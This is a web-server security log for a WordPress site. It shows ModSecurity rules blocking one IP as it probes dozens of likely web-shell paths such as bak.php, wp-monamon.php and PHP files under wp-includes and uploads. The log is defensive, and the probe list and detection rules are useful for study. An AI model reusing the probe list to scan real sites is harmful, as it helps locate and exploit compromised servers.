[Sat Feb 28 01:44:53.109730 2026] [:error] [pid 38620:tid 38640] [client 20.100.197.204:37972] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/special.php"] [unique_id "aaHYFQP6I7SRqrhh7RogGQAAAVI"]
[Sat Feb 28 01:44:53.627158 2026] [:error] [pid 15098:tid 15113] [client 20.100.197.204:30161] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/special.php"] [unique_id "aaHYFckFqny8dQQbmTkrGwAAAIc"]
[Sat Feb 28 01:44:54.144628 2026] [:error] [pid 15240:tid 15257] [client 20.100.197.204:36281] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/special.php"] [unique_id "aaHYFi1iKL_41Rk9A9OFCQAAAA8"]
[Sat Feb 28 01:44:54.662950 2026] [:error] [pid 38586:tid 38593] [client 20.100.197.204:19290] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/special.php"] [unique_id "aaHYFr_i6nvKNhjFW7VWrgAAAQQ"]
[Sat Feb 28 01:44:55.184595 2026] [:error] [pid 38620:tid 38627] [client 20.100.197.204:58882] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bak.php"] [unique_id "aaHYFwP6I7SRqrhh7RogIQAAAUU"]
[Sat Feb 28 01:44:55.703653 2026] [:error] [pid 15240:tid 15245] [client 20.100.197.204:6605] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bak.php"] [unique_id "aaHYFy1iKL_41Rk9A9OFDAAAAAM"]
[Sat Feb 28 01:44:56.241005 2026] [:error] [pid 38586:tid 38606] [client 20.100.197.204:19282] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bak.php"] [unique_id "aaHYGL_i6nvKNhjFW7VWswAAARE"]
[Sat Feb 28 01:44:56.764263 2026] [:error] [pid 15099:tid 15140] [client 20.100.197.204:30166] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bak.php"] [unique_id "aaHYGOnvP2vtPjYDq_g8_AAAAMc"]
[Sat Feb 28 01:44:57.288673 2026] [:error] [pid 38620:tid 38630] [client 20.100.197.204:58942] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaHYGQP6I7SRqrhh7RogLAAAAUg"]
[Sat Feb 28 01:44:57.807841 2026] [:error] [pid 15240:tid 15252] [client 20.100.197.204:36262] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaHYGS1iKL_41Rk9A9OFEwAAAAo"]
[Sat Feb 28 01:44:58.324999 2026] [:error] [pid 38586:tid 38600] [client 20.100.197.204:6626] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaHYGr_i6nvKNhjFW7VWvAAAAQs"]
[Sat Feb 28 01:44:58.843290 2026] [:error] [pid 15240:tid 15260] [client 20.100.197.204:30721] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaHYGi1iKL_41Rk9A9OFFwAAABI"]
[Sat Feb 28 01:44:59.361240 2026] [:error] [pid 15240:tid 15261] [client 20.100.197.204:21313] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "aaHYGy1iKL_41Rk9A9OFGAAAABM"]
[Sat Feb 28 01:44:59.880356 2026] [:error] [pid 15100:tid 15170] [client 20.100.197.204:37928] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "aaHYG0OEbzcINan_ctLL-AAAAEo"]
[Sat Feb 28 01:45:00.409954 2026] [:error] [pid 38620:tid 38639] [client 20.100.197.204:30165] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "aaHYHAP6I7SRqrhh7RogMAAAAVE"]
[Sat Feb 28 01:45:00.929617 2026] [:error] [pid 15098:tid 15130] [client 20.100.197.204:6640] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "aaHYHMkFqny8dQQbmTkrHwAAAJg"]
[Sat Feb 28 01:45:01.469229 2026] [:error] [pid 15100:tid 15172] [client 20.100.197.204:6633] [client 20.100.197.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aaHYHUOEbzcINan_ctLL-wAAAEw"]
[Sat Feb 28 01:45:01.995828 2026] [:error] [pid 38620:tid 38625] [client 20.100.197.204:30199] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aaHYHQP6I7SRqrhh7RogNwAAAUM"]
[Sat Feb 28 01:45:02.522920 2026] [:error] [pid 15100:tid 15169] [client 20.100.197.204:11689] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aaHYHkOEbzcINan_ctLL_gAAAEk"]
[Sat Feb 28 01:45:03.043372 2026] [:error] [pid 15240:tid 15257] [client 20.100.197.204:30183] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aaHYHy1iKL_41Rk9A9OFHAAAAA8"]
[Sat Feb 28 01:45:03.585552 2026] [:error] [pid 38620:tid 38644] [client 20.100.197.204:6638] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aaHYHwP6I7SRqrhh7RogQQAAAVY"]
[Sat Feb 28 01:45:04.105015 2026] [:error] [pid 15100:tid 15161] [client 20.100.197.204:6597] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-monamon.php"] [unique_id "aaHYIEOEbzcINan_ctLMAwAAAEE"]
[Sat Feb 28 01:45:04.625837 2026] [:error] [pid 38586:tid 38601] [client 20.100.197.204:21348] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-monamon.php"] [unique_id "aaHYIL_i6nvKNhjFW7VW1wAAAQw"]
[Sat Feb 28 01:45:05.144302 2026] [:error] [pid 38620:tid 38642] [client 20.100.197.204:11676] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-monamon.php"] [unique_id "aaHYIQP6I7SRqrhh7RogTgAAAVQ"]
[Sat Feb 28 01:45:05.666468 2026] [:error] [pid 15240:tid 15254] [client 20.100.197.204:6627] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-monamon.php"] [unique_id "aaHYIS1iKL_41Rk9A9OFJgAAAAw"]
[Sat Feb 28 01:45:06.183440 2026] [:error] [pid 15240:tid 15247] [client 20.100.197.204:30162] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/"] [unique_id "aaHYIi1iKL_41Rk9A9OFLQAAAAU"]
[Sat Feb 28 01:45:06.705462 2026] [:error] [pid 38586:tid 38594] [client 20.100.197.204:58922] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/"] [unique_id "aaHYIr_i6nvKNhjFW7VW3AAAAQU"]
[Sat Feb 28 01:45:07.222942 2026] [:error] [pid 38620:tid 38643] [client 20.100.197.204:21323] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/"] [unique_id "aaHYIwP6I7SRqrhh7RogVQAAAVU"]
[Sat Feb 28 01:45:07.740410 2026] [:error] [pid 38620:tid 38645] [client 20.100.197.204:38012] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/"] [unique_id "aaHYIwP6I7SRqrhh7RogXAAAAVc"]
[Sat Feb 28 01:45:08.257687 2026] [:error] [pid 15099:tid 15134] [client 20.100.197.204:30185] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/"] [unique_id "aaHYJOnvP2vtPjYDq_g9GAAAAME"]
[Sat Feb 28 01:45:08.776008 2026] [:error] [pid 38620:tid 38636] [client 20.100.197.204:11671] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/"] [unique_id "aaHYJAP6I7SRqrhh7RogaAAAAU4"]
[Sat Feb 28 01:45:09.294031 2026] [:error] [pid 15099:tid 15139] [client 20.100.197.204:36276] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/"] [unique_id "aaHYJenvP2vtPjYDq_g9HAAAAMY"]
[Sat Feb 28 01:45:09.813111 2026] [:error] [pid 15100:tid 15171] [client 20.100.197.204:11708] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/"] [unique_id "aaHYJUOEbzcINan_ctLMCAAAAEs"]
[Sat Feb 28 01:45:10.332961 2026] [:error] [pid 38586:tid 38589] [client 20.100.197.204:30778] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/core.php"] [unique_id "aaHYJr_i6nvKNhjFW7VW4wAAAQA"]
[Sat Feb 28 01:45:10.849597 2026] [:error] [pid 38620:tid 38645] [client 20.100.197.204:4124] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/core.php"] [unique_id "aaHYJgP6I7SRqrhh7RogfAAAAVc"]
[Sat Feb 28 01:45:11.365483 2026] [:error] [pid 38586:tid 38596] [client 20.100.197.204:11661] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/core.php"] [unique_id "aaHYJ7_i6nvKNhjFW7VW6AAAAQc"]
[Sat Feb 28 01:45:11.882048 2026] [:error] [pid 38586:tid 38591] [client 20.100.197.204:30207] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/core.php"] [unique_id "aaHYJ7_i6nvKNhjFW7VW6gAAAQI"]
[Sat Feb 28 01:45:18.575132 2026] [:error] [pid 38620:tid 38622] [client 20.100.197.204:6617] [client 20.100.197.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aaHYLgP6I7SRqrhh7RogmwAAAUA"]
[Sat Feb 28 01:45:19.631072 2026] [:error] [pid 15240:tid 15245] [client 20.100.197.204:30747] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/new/index.php"] [unique_id "aaHYLy1iKL_41Rk9A9OFQwAAAAM"]
[Sat Feb 28 01:45:20.150024 2026] [:error] [pid 15099:tid 15156] [client 20.100.197.204:19299] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/new/index.php"] [unique_id "aaHYMOnvP2vtPjYDq_g9OgAAANc"]
[Sat Feb 28 01:45:20.666287 2026] [:error] [pid 38620:tid 38639] [client 20.100.197.204:19285] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/new/index.php"] [unique_id "aaHYMAP6I7SRqrhh7RogogAAAVE"]
[Sat Feb 28 01:45:21.186202 2026] [:error] [pid 38586:tid 38589] [client 20.100.197.204:4098] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/new/index.php"] [unique_id "aaHYMb_i6nvKNhjFW7VXCQAAAQA"]
[Sat Feb 28 01:45:21.703283 2026] [:error] [pid 38586:tid 38607] [client 20.100.197.204:30782] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/assets/css/dist/"] [unique_id "aaHYMb_i6nvKNhjFW7VXDgAAARI"]
[Sat Feb 28 01:45:22.220856 2026] [:error] [pid 15240:tid 15253] [client 20.100.197.204:11695] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/assets/css/dist/"] [unique_id "aaHYMi1iKL_41Rk9A9OFSAAAAAs"]
[Sat Feb 28 01:45:22.738151 2026] [:error] [pid 15100:tid 15172] [client 20.100.197.204:4142] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/assets/css/dist/"] [unique_id "aaHYMkOEbzcINan_ctLMHgAAAEw"]
[Sat Feb 28 01:45:23.254667 2026] [:error] [pid 15100:tid 15179] [client 20.100.197.204:6646] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/assets/css/dist/"] [unique_id "aaHYM0OEbzcINan_ctLMIAAAAFM"]
[Sat Feb 28 01:45:23.771057 2026] [:error] [pid 38620:tid 38637] [client 20.100.197.204:4619] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aaHYMwP6I7SRqrhh7RogrAAAAU8"]
[Sat Feb 28 01:45:24.289089 2026] [:error] [pid 15098:tid 15116] [client 20.100.197.204:11562] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aaHYNMkFqny8dQQbmTkrTAAAAIo"]
[Sat Feb 28 01:45:24.806179 2026] [:error] [pid 15098:tid 15117] [client 20.100.197.204:11711] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aaHYNMkFqny8dQQbmTkrVAAAAIs"]
[Sat Feb 28 01:45:25.322332 2026] [:error] [pid 15099:tid 15133] [client 20.100.197.204:27338] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aaHYNenvP2vtPjYDq_g9QwAAAMA"]
[Sat Feb 28 01:45:25.838552 2026] [:error] [pid 15100:tid 15162] [client 20.100.197.204:58904] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/products/about.php"] [unique_id "aaHYNUOEbzcINan_ctLMJgAAAEI"]
[Sat Feb 28 01:45:26.356741 2026] [:error] [pid 15099:tid 15152] [client 20.100.197.204:58930] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/products/about.php"] [unique_id "aaHYNunvP2vtPjYDq_g9RQAAANM"]
[Sat Feb 28 01:45:26.874239 2026] [:error] [pid 15098:tid 15123] [client 20.100.197.204:4103] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/products/about.php"] [unique_id "aaHYNskFqny8dQQbmTkrYgAAAJE"]
[Sat Feb 28 01:45:27.393334 2026] [:error] [pid 15100:tid 15182] [client 20.100.197.204:4129] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/products/about.php"] [unique_id "aaHYN0OEbzcINan_ctLMLQAAAFY"]
